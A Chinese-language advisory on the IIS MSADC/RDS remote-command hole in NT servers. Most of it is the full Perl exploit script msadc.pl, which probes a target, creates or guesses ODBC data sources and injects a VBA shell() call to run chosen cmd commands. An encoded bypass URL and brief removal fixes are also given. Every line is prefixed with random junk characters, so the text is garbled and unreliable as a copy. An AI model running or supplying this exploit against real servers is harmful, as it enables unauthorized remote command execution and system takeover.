IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9yo[T(8 iwJ-<v_:h 涉及程序:
,R}KcZG) Microsoft NT server
"IG$VjgcB wmE,k1G 描述:
R0mT/h2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&H1D!N H}V*<mgw 详细:
$Q?G*@y 如果你没有时间读详细内容的话,就删除:
Zfv(\SI c:\Program Files\Common Files\System\Msadc\msadcs.dll
0Eu$-) 有关的安全问题就没有了。
f_h"gZWV )75yv<L2S, 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]8>UII ,US 37-y 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
SP7g qM 关于利用ODBC远程漏洞的描述,请参看:
"tB"j9Jb sLa)~To http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *rz(}(r Gd6 ;'ZCmY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
yr9A0F0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^Pg
YP [RFK-E 这里不再论述。
?VZXJO{^ qb>r\bc 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
T0v@mXBQ ilp;@O6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3ZL7N$N}7 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
tW.>D;8 d)1sP0Z_@ 06 Esc^D #将下面这段保存为txt文件,然后: "perl -x 文件名"
y?z _^ppj gVA}?t; #!perl
tD7C7m #
8^/Ek<Qb| # MSADC/RDS 'usage' (aka exploit) script
O;BMwg_7 #
B
Ff.Rd95 # by rain.forest.puppy
oB06{/6 #
0/P-> n~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
W|rFl]~a # beta test and find errors!
5;MK1l vYR=TN=Z4
use Socket; use Getopt::Std;
0tm_}L$g=b getopts("e:vd:h:XR", \%args);
4a.e
,gitf e4YfTr print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pL}j
ZTo FHNuMdFn if (!defined $args{h} && !defined $args{R}) {
(zJ$oRq print qq~
o*wC{VP_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
";?C4%L -h <host> = host you want to scan (ip or domain)
EM54 -d <seconds> = delay between calls, default 1 second
wy_;+ 'Y -X = dump Index Server path table, if available
e|5B1rMM -v = verbose
tct5*.| -e = external dictionary file for step 5
"o# )vA` ssX6kgq_( Or a -R will resume a command session
@)Hbgkdi zGL<m0C ~; exit;}
W3{<e" iWN.3|r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$:u7Dv}\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3@TG.)N4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
C*y6~AYN# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r< ?o}Qq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O{ %A&Ui if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0]eh>ab> !OoaE* s if (!defined $args{R}){ $ret = &has_msadc;
me[J\MJ;w^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ghobu}wuF oY2?W print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kL PO+lg+ . "cmd /c ";
8~s-t $in=<STDIN>; chomp $in;
=O3I[ $command="cmd /c " . $in ;
MY?O/,6 i5E:FS^!I if (defined $args{R}) {&load; exit;}
iVpA@p |+;K hC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'tV"^KQHI &try_btcustmr;
dJQ }{,+6 mWN1Q<vn,l print "\nStep 2: Trying to make our own DSN...";
*@G(3 n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0'%+X| 4-d99|mv print "\nStep 3: Trying known DSNs...";
zN)|g &known_dsn;
dW{o+9 nw Xs%R]KOwt print "\nStep 4: Trying known .mdbs...";
{b-0_ &known_mdb;
DNm7z[t{ X$uz=) if (defined $args{e}){
N1+4bR print "\nStep 5: Trying dictionary of DSN names...";
r>Qyc &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rq'##`H 3vRLg b print "Sorry Charley...maybe next time?\n";
.sJys SA\ exit;
0.u9f`04 TM/|K|_ ##############################################################################
iB}LnC: 9o_ g_q sub sendraw { # ripped and modded from whisker
qrM{b= sleep($delay); # it's a DoS on the server! At least on mine...
Ft"&NtXeZZ my ($pstr)=@_;
MgH1d&R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K.V!@bPlw9 die("Socket problems\n");
VeD+U~ d if(connect(S,pack "SnA4x8",2,80,$target)){
@wEKCn|}o select(S); $|=1;
_
r^90 print $pstr; my @in=<S>;
n&YW".iG select(STDOUT); close(S);
0$f_or9T return @in;
G&%nF4 } else { die("Can't connect...\n"); }}
liugaRO8J gc,J2B]61 ##############################################################################
y,y/PyN) j h1 bn sub make_header { # make the HTTP request
Y @XkqvX my $msadc=<<EOT
B{OW}D$P# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V`R)#G>IH% User-Agent: ACTIVEDATA
e}](6"t`5 Host: $ip
RFZU}.*K$ Content-Length: $clen
Pghva*& Connection: Keep-Alive
AT%*
~tr As6)_8w ADCClientVersion:01.06
Yhc6P%{Z^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"UhK]i*@l Z0()pT --!ADM!ROX!YOUR!WORLD!
;"d ,~nLn Content-Type: application/x-varg
@pqY9_:P1 Content-Length: $reqlen
J+3\2D? dJ%wVY0z= EOT
VVI8)h8 ; $msadc=~s/\n/\r\n/g;
'B:Z=0{>N return $msadc;}
$,; ;u:- ~{1/* &P ##############################################################################
NK Rm,[D)D^0N sub make_req { # make the RDS request
_XY`UZ my ($switch, $p1, $p2)=@_;
<K DH my $req=""; my $t1, $t2, $query, $dsn;
Nl=m'4@` S.Wh4kMUe if ($switch==1){ # this is the btcustmr.mdb query
HQ|o%9~ $query="Select * from Customers where City=" . make_shell();
1qm/{>a- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
l5ZADK4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
097Fvt=# #L@} .Giz elsif ($switch==2){ # this is general make table query
pW*{Mx $query="create table AZZ (B int, C varchar(10))";
vi[#?;pkF $dsn="$p1";}
g{g`YvLu^ gZ`32fB% elsif ($switch==3){ # this is general exploit table query
Gsds!z$ $query="select * from AZZ where C=" . make_shell();
q:`77 $dsn="$p1";}
pgz:F#> J^ +_8 elsif ($switch==4){ # attempt to hork file info from index server
#;\L,a|>* $query="select path from scope()";
p|&ZJ@3 $dsn="Provider=MSIDXS;";}
vHs>ba$" 0%;N9\ elsif ($switch==5){ # bad query
iX8h2l $query="select";
a'
IX yj $dsn="$p1";}
71k!k&Im )CC?vV $t1= make_unicode($query);
b lRY7 $t2= make_unicode($dsn);
!p]T6_t]Q $req = "\x02\x00\x03\x00";
%|: ;Ti $req.= "\x08\x00" . pack ("S1", length($t1));
;=5@h!@R $req.= "\x00\x00" . $t1 ;
Y=P9:unG $req.= "\x08\x00" . pack ("S1", length($t2));
Mv/IMO0rR
$req.= "\x00\x00" . $t2 ;
GN:Ru|n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
s
jL*I return $req;}
S+.21, ri/t(m^{W ##############################################################################
w8AJ#9W wb(*7 &eP: sub make_shell { # this makes the shell() statement
nuf@}W>y return "'|shell(\"$command\")|'";}
Q `e~MD & cM
u/ } ##############################################################################
c8^+^.=pX tyc8{t#Z sub make_unicode { # quick little function to convert to unicode
WW@JVZxK my ($in)=@_; my $out;
MxM](ew~7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|Hx%f return $out;}
=8$|_ m.1LxM$8 ##############################################################################
5xh!f%6 @Ufa-h5"( sub rdo_success { # checks for RDO return success (this is kludge)
=3h+=l[ my (@in) = @_; my $base=content_start(@in);
G"G{AS if($in[$base]=~/multipart\/mixed/){
SL[rn<x| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:wQC_; return 0;}
??%)|nj. U>/<6Wd ##############################################################################
IY];Ss&i bin6i2b sub make_dsn { # this makes a DSN for us
R^jlEt\&P my @drives=("c","d","e","f");
GwgFi@itN print "\nMaking DSN: ";
k-{yu8*'; foreach $drive (@drives) {
2-B6IPeI print "$drive: ";
R'S c my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
th5,HO~ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*e(:["v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
T&o,I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
NY4!TOp return 0 if $2 eq "404"; # not found/doesn't exist
j`>?"1e@x if($2 eq "200") {
fUb1/-} foreach $line (@results) {
,]0S4h67 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IkSX\* } return 0;}
^36M0h|R l'|E,N>X ##############################################################################
Bj;\mUsk M%7`8KQ sub verify_exists {
nVz5V%a!\q my ($page)=@_;
5gO /-Zj my @results=sendraw("GET $page HTTP/1.0\n\n");
x^zdTMNhw return $results[0];}
N YCj; ,V
W;^Rx.W ##############################################################################
=hJfL}&O3 l<u{6o sub try_btcustmr {
&foD& my @drives=("c","d","e","f");
?g5iok { my @dirs=("winnt","winnt35","winnt351","win","windows");
CT|z[^ \M+MDT& foreach $dir (@dirs) {
smQ4CLJ print "$dir -> "; # fun status so you can see progress
{?w"hjy foreach $drive (@drives) {
J
cP~-cp print "$drive: "; # ditto
||R0U@F, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%_>Tcm= $reqlenlen=length( "$reqlen" );
6hp{,8|D"m $clen= 206 + $reqlenlen + $reqlen;
[6O04"6K ):/,w!1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1Wv{xML" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-UJ?L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
lco~X DI z9^c]U U)E ##############################################################################
DG3[^B v}Z9+ yRC2 sub odbc_error {
o1e4.-xI my (@in)=@_; my $base;
3 sl=>;- my $base = content_start(@in);
kmIoJH5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{nTG~d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-<|Y 1PQ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wjL|Z8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oBb?"2 ~9 return $in[$base+4].$in[$base+5].$in[$base+6];}
4 ^4d9?c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]Qd{ '}+ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dl:-k r8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
it~Z|$ 5bXHz5i ##############################################################################
:]yg `Uv)Sf{ sub verbose {
DTPay1]6 my ($in)=@_;
8}bZ[ return if !$verbose;
Hc M~ print STDOUT "\n$in\n";}
J6DnPaw-G X R4 )z ##############################################################################
I|Z/`9T Np$z%ewK. sub save {
^,+nef?= my ($p1, $p2, $p3, $p4)=@_;
#^Ys{ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^/k, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
z9 O~W5-U close OUT;}
O)O Uy 21ViHV ##############################################################################
8[oYZrg #Gd7M3 sub load {
B=r0?%DX"1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TiQ^}5~M open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GYd]5`ri @p=<IN>; close(IN);
EA6t36|TX $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+GYS26 $target= inet_aton($ip) || die("inet_aton problems");
YwGHG{?e print "Resuming to $ip ...";
lu]o34 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#9i6+. Z if($p[1]==1) {
ujx@@N $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%Z7%jma $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fSjs?zd` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
l~rb]6E if (rdo_success(@results)){print "Success!\n";}
oKRFd_r + else { print "failed\n"; verbose(odbc_error(@results));}}
Rnr#$C% elsif ($p[1]==3){
+ZclGchw if(run_query("$p[3]")){
"?P[9x} print "Success!\n";} else { print "failed\n"; }}
L@nebT;\' elsif ($p[1]==4){
{M[~E|@D if(run_query($drvst . "$p[3]")){
7D print "Success!\n"; } else { print "failed\n"; }}
qcYNtEs*c exit;}
7lR<@$q Ew]<jF|.# ##############################################################################
c yP,[?N +TF8WZZF.d sub create_table {
PS$k >_=t my ($in)=@_;
z{|LQt6q $reqlen=length( make_req(2,$in,"") ) - 28;
>ukQ, CE~ $reqlenlen=length( "$reqlen" );
)km7tA
0a $clen= 206 + $reqlenlen + $reqlen;
'PpZ/ry$ my @results=sendraw(make_header() . make_req(2,$in,""));
L%XXf3;c return 1 if rdo_success(@results);
'y.JcS!| my $temp= odbc_error(@results); verbose($temp);
ab@=cL~^ return 1 if $temp=~/Table 'AZZ' already exists/;
{OCJ(^8i return 0;}
L7}i
q0 LQqfi
~ ##############################################################################
=T4u":#N; tFiR!f) sub known_dsn {
(N0sE"_~I5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
O:e#!C8^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
[x5mPjgw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?Wa<AFXQ "banner", "banners", "ads", "ADCDemo", "ADCTest");
[Tp%"f1 m6i%DE foreach $dSn (@dsns) {
w.uK?A>W, print ".";
hg8Be6G< next if (!is_access("DSN=$dSn"));
(ii(yz| if(create_table("DSN=$dSn")){
s/t11; print "$dSn successful\n";
4-V)_U#8 if(run_query("DSN=$dSn")){
+ubnx{VC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jgq{pZ#E print "Something's borked. Use verbose next time\n";}}} print "\n";}
?mU\
N0o cIb4-TeV ##############################################################################
M|8
3HTJ 5)`h0TK sub is_access {
('4wXD]C my ($in)=@_;
,9\Snn $reqlen=length( make_req(5,$in,"") ) - 28;
K6B4sE $reqlenlen=length( "$reqlen" );
Y@%`ZPJ $clen= 206 + $reqlenlen + $reqlen;
n=o_1M| my @results=sendraw(make_header() . make_req(5,$in,""));
Za%LAyT_s my $temp= odbc_error(@results);
qjAh6Q/E` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*ik/p return 0;}
.$0Pr%0pWI C
) ?uE' ##############################################################################
bi$VAYn.^ mxp Y&Y sub run_query {
0hwj\{" my ($in)=@_;
|dk[cX> $reqlen=length( make_req(3,$in,"") ) - 28;
+s~.A_7) $reqlenlen=length( "$reqlen" );
J633uH}} $clen= 206 + $reqlenlen + $reqlen;
7W|Zq6pi my @results=sendraw(make_header() . make_req(3,$in,""));
:gf;} return 1 if rdo_success(@results);
'zxoRc-b@N my $temp= odbc_error(@results); verbose($temp);
oHX$k{6 return 0;}
]Ik%#l.G_ /_*>d) ##############################################################################
wa ky<w, :YNp8!?T? sub known_mdb {
V!&P(YO: my @drives=("c","d","e","f","g");
Fw"$A0 my @dirs=("winnt","winnt35","winnt351","win","windows");
~5 >[`) my $dir, $drive, $mdb;
55m<XC my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y(r@v 'N6 S}w7 # this is sparse, because I don't know of many
$r79n- my @sysmdbs=( "\\catroot\\icatalog.mdb",
!` 26\@1 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y@;%Uv& "\\system32\\certmdb.mdb",
B+"g2Y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9M'DC^x*T cAEok P my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
)yj:PY] "\\cfusion\\cfapps\\forums\\forums_.mdb",
AVFjBybu9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
J@]k%h "\\cfusion\\cfapps\\security\\realm_.mdb",
;Z9IZ~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
B4Lx{uno "\\cfusion\\database\\cfexamples.mdb",
C-w5KW "\\cfusion\\database\\cfsnippets.mdb",
mQr0sI,o] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-5k2j^r; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
#SnvV "\\cfusion\\brighttiger\\database\\cleam.mdb",
Uf$i3 "\\cfusion\\database\\smpolicy.mdb",
X+l'bp]Ry "\\cfusion\\database\cypress.mdb",
/S~m)$vu "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
A,#2 ^dR "\\website\\cgi-win\\dbsample.mdb",
SaO3zz@L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
{rXs:N@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
61@EDIYPc ); #these are just
XUSvhr$| foreach $drive (@drives) {
!#}7{ foreach $dir (@dirs){
A'-_TFwW foreach $mdb (@sysmdbs) {
LchnBtjn print ".";
&tE.6^F if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/k6fLn2; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6+`tn if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Yc;ec9~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n:4uA`Vg } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z
cpmquf8L /3B6Mtb foreach $drive (@drives) {
1%`7.;!i foreach $mdb (@mdbs) {
BX< dSK print ".";
Vmi{X b]< if(create_table($drv . $drive . $dir . $mdb)){
s 3r=mp{ print "\n" . $drive . $dir . $mdb . " successful\n";
o2uj =Gnx if(run_query($drv . $drive . $dir . $mdb)){
z$[C#5+2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>oJkJ$|wU } else { print "Something's borked. Use verbose next time\n"; }}}}
TH?9< C-C
}
qp~gP >/^#Drwb!i ##############################################################################
UtJ a3ya `78V%\ sub hork_idx {
.CbGDZ print "\nAttempting to dump Index Server tables...\n";
2Z/K(J"&J print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<Kt3PyF $reqlen=length( make_req(4,"","") ) - 28;
'C>U=cE7 $reqlenlen=length( "$reqlen" );
;>"nn
VW $clen= 206 + $reqlenlen + $reqlen;
,pt%)
c my @results=sendraw2(make_header() . make_req(4,"",""));
Qe$k3! if (rdo_success(@results)){
i8PuC^] my $max=@results; my $c; my %d;
d,cN( for($c=19; $c<$max; $c++){
Q+$Tt7/ $results[$c]=~s/\x00//g;
}!s!;BOx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I021p5h| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
i7Z=|& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#"f'7'TE $d{"$1$2"}="";}
!GK$[9 foreach $c (keys %d){ print "$c\n"; }
Fn|gVR } else {print "Index server doesn't seem to be installed.\n"; }}
f CcD&<% m~`>`4 ##############################################################################
p>*i$ !<n"6KA. sub dsn_dict {
AuiFbRFi open(IN, "<$args{e}") || die("Can't open external dictionary\n");
39TT{>?`w while(<IN>){
_GoVx=t
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
H+C6[W= next if (!is_access("DSN=$dSn"));
F%/h* if(create_table("DSN=$dSn")){
Tpr tE.mP print "$dSn successful\n";
A(d5G^ if(run_query("DSN=$dSn")){
s0W2?!>) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@QEqB_W print "Something's borked. Use verbose next time\n";}}}
slW3qRT\k print "\n"; close(IN);}
#D%ygh= 1|QvN1? ##############################################################################
\fLvw %$ceJ`%1e sub sendraw2 { # ripped and modded from whisker
0E/:|k sleep($delay); # it's a DoS on the server! At least on mine...
v3RcwySk my ($pstr)=@_;
O&Z'r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LMl~yqM die("Socket problems\n");
Ug"rJMZG if(connect(S,pack "SnA4x8",2,80,$target)){
!K0JV|-?t print "Connected. Getting data";
!u;>Wyd W open(OUT,">raw.out"); my @in;
HAB#pd9 select(S); $|=1; print $pstr;
bE\,}DTy while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
x4K`]Fvhl close(OUT); select(STDOUT); close(S); return @in;
&Ral+J } else { die("Can't connect...\n"); }}
w!3>N"em LXfCmc9|Z ##############################################################################
tiaR4PB SW?p?< sub content_start { # this will take in the server headers
\E4B&!m my (@in)=@_; my $c;
u\e\'\ for ($c=1;$c<500;$c++) {
X" R<J#4 if($in[$c] =~/^\x0d\x0a/){
t} p@:' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
P9Q2gVGAO{ else { return $c+1; }}}
8HErE<_( return -1;} # it should never get here actually
/Wj,1WX~ ^HA
%q8| n ##############################################################################
vA% ^`5 c|~6Ie sub funky {
}xb=< my (@in)=@_; my $error=odbc_error(@in);
}=}>9DSM if($error=~/ADO could not find the specified provider/){
Q=cQLf;/' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
e;95a exit;}
rjWLMbd.< if($error=~/A Handler is required/){
JWO=!^ print "\nServer has custom handler filters (they most likely are patched)\n";
wzWbB2Mb5 exit;}
7S^""*Q^ if($error=~/specified Handler has denied Access/){
e]>ori
8 print "\nServer has custom handler filters (they most likely are patched)\n";
h5zVGr exit;}}
t!;/Z6\Pb RMYP" ##############################################################################
F@<0s&)1 n-;y*kD sub has_msadc {
=bt]JRU my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>`T5]_a my $base=content_start(@results);
]> !<G8=N return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}ynT2a#LU' return 0;}
E8}+k o !b|' Vp^U ########################
D^F{uDlb 3TuC+'`G \k8rxW 解决方案:
F
phDF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$a;]_ Y 2、移除web 目录: /msadc